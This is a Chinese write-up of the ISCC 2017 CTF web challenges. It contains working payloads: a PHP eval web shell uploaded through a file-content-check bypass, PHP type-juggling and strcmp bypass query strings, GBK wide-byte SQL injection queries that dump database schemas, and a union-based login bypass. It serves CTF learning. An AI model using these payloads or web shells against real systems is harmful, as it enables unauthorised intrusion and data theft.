首页 > 代码库 > ISCC 2017 Web writeup

ISCC 2017 Web writeup

ISCC 2017 Web writeup
Web签到题
WelcomeToMySQL
自相矛盾
我们一起来日站
I have a jpg,i upload a txt.
where is your flag
Simple sqli

ISCC 2017 Web writeup

Web签到题

这种签到题不能往难了想,首先理所当然的这样传参

  1. hiddenflag=f1ag&flag=f1ag

技术分享
这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑。。。
技术分享

WelcomeToMySQL

首先上传一句话,格式为php5,菜刀连上
然后看base.php:

  1. <?php
  2. $servername="localhost";
  3. $username="iscc2017";
  4. $password="iscc2017";
  5. $db="flag";
  6. $tb="flag";
  7. ?>

根据信息访问这个服务器的数据库,拿到flag
技术分享

自相矛盾

看源码:

  1. <!--
  2. $v1=0;$v2=0;$v3=0;
  3. $a=(array)json_decode(@$_GET[‘iscc‘]);
  4. if(is_array($a)){
  5. is_numeric(@$a["bar1"])?die("nope"):NULL;
  6. if(@$a["bar1"]){
  7. ($a["bar1"]>2016)?$v1=1:NULL;
  8. }
  9. if(is_array(@$a["bar2"])){
  10. if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
  11. $pos = array_search("nudt", $a["bar2"]);
  12. $pos===false?die("nope"):NULL;
  13. foreach($a["bar2"] as $key=>$val){
  14. $val==="nudt"?die("nope"):NULL;
  15. }
  16. $v2=1;
  17. }
  18. }
  19. $c=@$_GET[‘cat‘];
  20. $d=@$_GET[‘dog‘];
  21. if(@$c[1]){
  22. if(!strcmp($c[1],$d) && $c[1]!==$d){
  23. eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
  24. strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
  25. }
  26. }
  27. if($v1 && $v2 && $v3){
  28. echo $flag;
  29. }

就是反复的用一些PHP的函数漏洞,弱等于
第一个参数iscc为JSON格式的
bar1要求不是数字又要比2016大,这用到了PHP中字符串和数字型比较的时候先会用intval()函数做转换,所以bar1:2017a
bar2要求是数组,长度为5,并且第一位还是个数组,并且其中要有"nudt",这里用到字符串弱等于0,所以这五个元素中要有0存在
eregi可以使用%00截断绕过,所以dog=%00,cat[0]=34567isccctf2017
strcmp传参为数组的时候返回NULL,所以cat[1][]=1111
最后payload:

  1. iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=34567isccctf2017&cat[1][]=1111&dog=%00

技术分享

我们一起来日站

首先扫目录,发现有robots.txt
技术分享
找到admin.php,简单注入,拿到flag
技术分享

I have a jpg,i upload a txt.

这题有两个关键:
1、破解这个KaIsA(凯撒)加密函数
2、怎么绕过文件内容检测传shell

对于第一个问题,可以通过

  1. $re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);

可以获取加密后的字符串,然后观察比对,发现这是个变种的凯撒加密,小写字母左移6位,大写字母右移6位,数字不动,这是加密代码:

  1. def kaisai(s):
  2. re=""
  3. for i in range(len(s)):
  4. if s[i]>=‘a‘ and s[i]<=‘z‘:
  5. t=ord(s[i])-6
  6. if t<97:
  7. re+=chr(t-97+123)
  8. continue
  9. if(t>122):
  10. re+=chr(t-122+96)
  11. continue
  12. re+=chr(t)
  13. if s[i]>=‘A‘ and s[i]<=‘Z‘:
  14. t=ord(s[i])+6
  15. if t<65:
  16. re+=chr(t-65+91)
  17. continue
  18. if t>90:
  19. re+=chr(t-90+64)
  20. continue
  21. re+=chr(t)
  22. if s[i]>=‘0‘ and s[i]<=‘9‘:
  23. re+=s[i]
  24. print(re)
  25. a=""
  26. kaisai(a)

第二步要绕过这个文件内容检测,可以通过多次上传的方式,依次将一句话传上去,但是这个数组只能有两位,所以想到php短标签,将一句话分为这两部分:
<? eval($_POST[‘cmd‘]);
上传之后利用fwrite将两个文件和为一个txt

  1. <?php
  2. $a[1]="522421975";
  3. $a[2]="563896667";
  4. echo base64_encode(serialize($a));
  5. ?>

a[1]和a[2]是上传之后的文件名,然后凯撒加密后提交,得到完整shell的txt格式文件,接下来将之rename为php:

  1. $a[0]="php";
  2. $a[1]="1824217370";
  3. echo base64_encode(serialize($a));
  4. ?>

加密后提交,访问这个页面,访问后可以直接得到flag(注意有302重定向)
技术分享

where is your flag

先扫目录,没有发现,然后找到了flag.php,看了半天结果还是什么都没有。抓个包,看到了这个:
技术分享

结合题目的意思,猜测可能是gbk宽字节注入,接下来就要找注入点了,这里脑洞了半天猜参数,flag,id等等,最后发现是id。
后面的注入就套路了,也没有什么过滤:

  1. id=%df‘ union select 1,group_concat(schema_name) from information_schema.schemata%23
  2. id=%df‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765625f726f626f7473%23
  3. %df‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23
  4. %df‘ union select 1,convert(thisisflag using gbk) from flag%23 # 注意页面编码和数据库编码不一致,需要绕过

技术分享

Simple sqli

这题首先是猜后台逻辑,可能是这么写的。

  1. $name=$_POST[‘username‘];
  2. $pw=md5($_POST[‘password‘]);
  3. $sql="select password from users where name=".$name;
  4. $result=mysql_fetch_array(mysql_query($sql));
  5. if($result[‘password‘])
  6. {
  7. if(!strcasecmp($result[‘password‘],$pw))
  8. {
  9. echo $flag;
  10. }
  11. else{
  12. echo "password error";
  13. }
  14. else{
  15. echo "username error";
  16. }

这题南邮有原题http://4.chinalover.sinaapp.com/web6/index.php
最后username=admin‘ and 1=2 union select md5(1)#&password=1
技术分享

ISCC 2017 Web writeup